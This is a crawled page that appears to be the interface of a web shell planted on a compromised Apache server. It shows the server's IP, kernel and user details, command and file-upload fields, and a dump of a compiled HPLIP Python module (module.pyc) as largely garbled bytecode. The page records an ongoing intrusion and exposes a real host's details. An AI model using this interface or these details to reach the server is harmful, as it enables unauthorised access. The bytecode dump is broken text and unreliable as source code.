403Webshell
Server IP : 182.53.201.61  /  Your IP : 216.73.217.175
Web Server : Apache/2.2.15 (Fedora)
System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/hplip/base/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/hplip/base/module.pyc
lJc@sddkZddkZddkZddkZddkTddkZddkZddkZdZdZ	dZ
dZdefdYZ
dS(	iN(t*iiiitModulecBseZd
d
d
eedZdd
d
d
dZd
d
eedZdZdd
dZ	edZ
d
d
eiei
d
edZeiei
d	Zd
dZdZRS(c

Cs||_||_||_||_||_tidti|g|_	|	|_
d|_t
idt_tidotidn||_|dj	o||_t|i|_ng|_d|_tiddd|_d|_g|_titiddd	o#|iit|id
7_ntitiddd	o#|iit |id
7_nt!|_"d|_#|idj	ot$|ijo'ti%o|io|i#d
7_#nt!|ijo|i#d
7_#nt&|ijo|i#d
7_#q+n|idj	o>t!|ijo
t!|_"qyt&|ijo
t&|_"qyn|idj	oEti%o;|io1|idjoFt |ijo6t|ijo&t!|ijot!|_"d|_qt |ijo |idjot |ijp0t|ijo-|idjot|ijo
t$|_"q|idjot|ijot |ijo&t |ijod|_t$|_"qt!|ijo
t!|_"qt&|ijo
t&|_"qti'd|it
i(d
q|idjot |ijot|ijo&t|ijod|_t$|_"qt!|ijo
t!|_"qt&|ijo
t&|_"qti'd
|it
i(d
qn|i"|_)ti*djo|oti+d|ndS(NiitHPLIP_DEBUGtdebugt	configures
ui-toolkittqt4tqt3t0itnones#%s cannot be run using Qt3 toolkit.s#%s cannot be run using Qt4 toolkit.s'%s should not be run as root/superuser.(,tmodttitletversiontdoct
usage_datatostumasktlogt
set_moduletargstquiettNonet	lock_filetsystargvtproptprogtgetenvt	set_leveltavail_modestsupported_ui_toolkitstlentnum_supported_ui_toolkitstsys_conftgettdefault_ui_toolkittnum_installed_ui_toolkitstinstalled_ui_toolkitstutilstto_booltappendtUI_TOOLKIT_QT3tUI_TOOLKIT_QT4tINTERACTIVE_MODEtdefault_modetnum_valid_modestGUI_MODEt	gui_buildtNON_INTERACTIVE_MODEterrortexittmodetgetuidtwarn(
tselfR	R
RRR
RRtrun_as_root_okR((s/usr/share/hplip/base/module.pyt__init__(s					

				
							$
$  	
00
  	


  	


icCs7|io|iddtfg|_n
g|_d|ig}g}g}|t@tjoA|id|iti|iti|iti	n|i
dj	o|idjo|id|iti
|iti|idjo2t|i
jotio|itiq.nt|i
jo|itint|i
jo|itiqzn|id|iti
|iti|i
dj	ot|i
jo|idj	o|idjotio||idjolt|ijo$t|ijo|itint|ijo$t|ijo|itiqmn|iti |iti!|t"@t"jo|iti#n|iti$|dj	o"x|D]}|i|qWn|t%@o|id	n|dj	p|oq|iti
|iti&x|D]}	|i|	qHW|dj	o"x|D]}	|i|	qsWqn|dj	oN|iti
|iti'x+|D]}
|i|
dd
t(fqWn|i)ddi*|ddtfx|D]}|ii|qWdS(
NttnamesUsage:s[DEVICE_URI|PRINTER_NAME]is[MODE]is	[OPTIONS]s[FILES]tseealsot tsummary(+RtTrueR
R	tUSAGE_FLAG_DEVICE_ARGSR'R%t
USAGE_ARGStUSAGE_DEVICEt
USAGE_PRINTERRRR,tUSAGE_SPACEt
USAGE_MODER#R-RR.tUSAGE_GUI_MODER*tUSAGE_INTERACTIVE_MODER/tUSAGE_NON_INTERACTIVE_MODEt
USAGE_OPTIONSRRR(R$t
USAGE_USE_QT3R)t
USAGE_USE_QT4tUSAGE_LOGGING1tUSAGE_LOGGING2tUSAGE_FLAG_SUPRESS_G_DEBUG_FLAGtUSAGE_LOGGING3t
USAGE_HELPtUSAGE_FLAG_FILE_ARGStUSAGE_NOTESt
USAGE_SEEALSOtFalsetinserttjoin(R5t
include_flagst
extra_optionstextra_notest
see_also_listR<tcontenttnotestetntstc((s/usr/share/hplip/base/module.pytsetUsages~
	
 

    


!%cCsMd}|pdi|dg}ndddddd	d
g}|o2di|dg}|idd
ddgn|idjot|ijo6tio,di|dg}|iddgnt|ijo,di|dg}|iddgnt|ijo/di|dg}|idddgqOn|i	dj	o|idjotio|idj	ot|ijort|i	jo't|i
jo|iddgnt|i	jo't|i
jo|iddgqn|dj	odi||g}n|dj	o|i|nd}d}d}	d}
g}|i}tio
|i}
nd}
d}y)titid||\}|_Wn$tij
o}|ig}nXx|D]\}}|dEjo
|}	q|dFjo
|}
q|dGjo0|ii}ti|p
d}qq|dHjotid	q|dIjoU|idj	o4t|ijo$|i	dj	otio
t}q|id/q|dJjo4|idj	o t|ijot}d}
qq|dKjo4|idj	o t|ijot}d}
qq|dLjo
d}q|d8jo
d9}q|d:jo
d;}q|d<jo
d=}q|dMjo|idj	ort|ijob|i	dj	o:t|i	jo*tio t|i
jot}d}
qT|id@|iqq|dNjo|idj	ort|ijob|i	dj	o:t|i	jo*tio t|i
jot}d}
q|idC|iqqqW|o
d}n|i|||dj	otidDn||_||	|
||
|fS(ONsl:hR8tgslogging=thelps	help-restshelp-mans	help-descRtdbgsd:p:P:sdevice=sdevice-uri=sprinter=sprinter-nameitutguituititinteractivettextR\tnoninteractivesnon-interactivetbatchRsuse-qt3Rsuse-qt4Rs-ds--devices--device-uris-Ps-ps	--printers--printer-names-ls	--loggings-gs--debugs--dbgs-us--guis--uisUnable to enter GUI mode.s-is
--interactives--texts-ns--non-interactives--batchs-hs--helps--help-resttrests
--help-mantmans--help-desctdescs--qt3s	--use-qt3s2%s does not support Qt3. Unable to enter GUI mode.s--qt4s	--use-qt4s2%s does not support Qt4. Unable to enter GUI mode.i(s-ds--devices--device-uri(s-Ps-ps	--printers--printer-name(s-ls	--logging(s-gs--debugs--dbg(s-us--guis--ui(s-is
--interactives--text(s-ns--non-interactives--batch(s-hs--help(s--qt3s	--use-qt3(s--qt4s	--use-qt4( RTtextendR,R-RRR.R*R/RRRR(R$R)R+R"tgetoptRRRtGetoptErrortmsgtlowertstripRRR'R	tusageR1R2(R5textra_paramstextra_long_paramsthandle_device_printertsupress_g_debug_flagtparamstlong_paramstoptst
show_usaget
device_uritprinter_namet	error_msgR2t
ui_toolkittlangR[totat	log_level((s/usr/share/hplip/base/module.pytparseStdOptss   

	

)






 

 
 








 

 
 


	cCsdti}d|_x>tiD]0\}}|i|ddi|dfq"W|idS(Ns
Language CodesAlternate Name(s)is, i(s
Language CodesAlternate Name(s)(ttuit	Formattertheadertsupported_localestitemstaddRTtoutput(R5tftloctll((s/usr/share/hplip/base/module.pyt
showLanguagess	
(RhcCs|djo|ip|indS|djo|itin|djo|iGHnti|i||i	|i
|i|o/x|D]}ti|qWt
idnt
id|djot
idndS(NRhRmii(RRt	showTitleRtinfoRR%tformat_textR
R
R	RR0RR1(R5R|RR[((s/usr/share/hplip/base/module.pyRts$




%

cCs|iptid|o!titidtintitidtitid|i|iftidtidtidtidtidtidndS(	NR8s.HP Linux Imaging and Printing System (ver. %s)s$HP Linux Imaging and Printing Systems
%s ver. %ss<Copyright (c) 2001-9 Hewlett-Packard Development Company, LPs0This software comes with ABSOLUTELY NO WARRANTY.s;This is free software, and you are welcome to distribute its<under certain conditions. See COPYING file for more details.(RRRtboldRRR
(R5tshow_ver((s/usr/share/hplip/base/module.pyRs

!&




c
Cstid|||||ftid|it}d|jo
t}nt}t}	d}
|djo#ti||}ti|n|dj	oC||jo
t}q|otid|d}qt}n|dj	oVti	||}||jot}	ti
||}qFtid|d}n|dj	o|djo|o
|}
n|dj	o]|dj	oP|oE|	o>||jo
|}
qtid||fd\}}qJnp|djo*|dj	o|	oti
||}
n9t|djo%|id}
ti
d	|
n|
djo9|ittfjo#t|oti||}
n|
dj	otid
d|
nB|ittfjotidtidntid
|
S(sD Validate passed in parameters, and, if in text mode, have user select desired device to use.
            Used for tools that are device-centric and accept -d (and maybe also -p).
            Use the filter(s) to restrict what constitute valid devices.

            Return the matching device URI based on:
            1. Passed in device_uri if it is valid (filter passes)
            2. Corresponding device_uri from the printer_name if it is valid (filter passes) ('*' means default printer)
            3. User input from menu (based on bus and filter)

            device_uri and printer_name can both be specified if they correspond to the same device.

            Returns:
                device_uri|None
                (returns None if passed in device_uri is invalid or printer_name doesn't correspond to device_uri)
        s"getDeviceUri(%s, %s, %s, %s, , %s)sMode=%sthpaiosInvalid device URI: %ssInvalid printer name: %ss=Printer name %s and device URI %s refer to different devices.iisUsing device: %s
t	last_usedR}sANo device selected/specified or that supports this functionality.sNo device selected/specifiedN(NN(RRR2RRR=RtdevicetgetSupportedCUPSDevicesR0tgetSupportedCUPSPrinterNamestgetDeviceURIByPrinterNameRtkeysRR*R/Rtdevice_tablet	user_conftsetRR1(
R5R}R~tback_end_filtertfiltertdevicestrestrict_to_installed_devicest
scan_uri_flagt
device_uri_oktprinter_name_oktdevice_uri_rettprinterstprinter_name_device_uri((s/usr/share/hplip/base/module.pytgetDeviceUris`	










!


!0


c
Csbtid||||ftid|it}t}d}d}ti||}	ti|	|dj	oJti||}
||
jot}|}qti	d|d}n|dj	o|djoJddk
l}|i}|dj	o
|}q\ti	dd}q`||	jot}ti
|}q`ti	dd}n|dj	oA|djo4|o-t|
|d	jo|
|d
}q_n|dj	oG|dj	o:|o/|o(||jo
|}qti	dq_n^|djo|dj	o|o
|}n3t|	d	jo|	d
}tid|n|djo6|ittfjo t|	oti|	}n|dj	o |djoti
|}n|dj	otid
d|n|dj	otid
d|nB|ittfjoti	dtid	ntid||fS(s Validate passed in parameters, and, if in text mode, have user select desired printer to use.
            Used for tools that are printer queue-centric and accept -p (and maybe also -d).
            Use the filter(s) to restrict what constitute valid printers.

            Return the matching printer_name based on:
            1. Passed in printer_name if it is valid (filter passes) ('*' means default printer)
            2. From single printer_name of corresponding passed in device_uri (filter passes)
            3. User input from menu (CUPS printer list, filtered) [or if > 1 queue for device_uri]

            device_uri and printer_name can both be specified if they correspond to the same device.

            Returns:
                (printer_name|None, device_uri|None) (tuple)
                (returns None if passed in printer_name is invalid or device_uri doesn't correspond to printer_name)
        sgetPrinterName(%s, %s, %s, %s)sMode=%ssInvalid device URI: %sRi(tcupssCUPS default printer not setsInvalid printer nameiis7Printer name and device URI refer to different devices.sUsing printer: %s
RR}R~sBNo printer selected/specified or that supports this functionality.sNo printer selected/specifiedN(RRR2RRRRRRR=R0tprntRtgetDefaultPrinterRRRR*R/Rt
printer_tableRRRR1(
R5R~R}RRRRtprinter_name_retRRRRtdefault_printer((s/usr/share/hplip/base/module.pytgetPrinterNamesl













!

!

0



R8cCsl|o.tidi|i|g\}|_nti|i\}|_|ptidndS(Nt-i(R%tlock_appRTR	RRR1(R5tsuffixtok((s/usr/share/hplip/base/module.pytlockInstance~s
.cCs(|idj	oti|indS(N(RRR%tunlock(R5((s/usr/share/hplip/base/module.pytunlockInstancesN(t__name__t
__module__RRRR7R_R=RRRtRRtDEFAULT_BE_FILTERtDEFAULT_FILTERRRRR(((s/usr/share/hplip/base/module.pyR's$q[		W_
(RtreRoRR`RR%RtUSAGE_FLAG_NONER>RLROtobjectR(((s/usr/share/hplip/base/module.pyt<module>s
$

Youez - 2016 - github.com/yon3zu
LinuXploit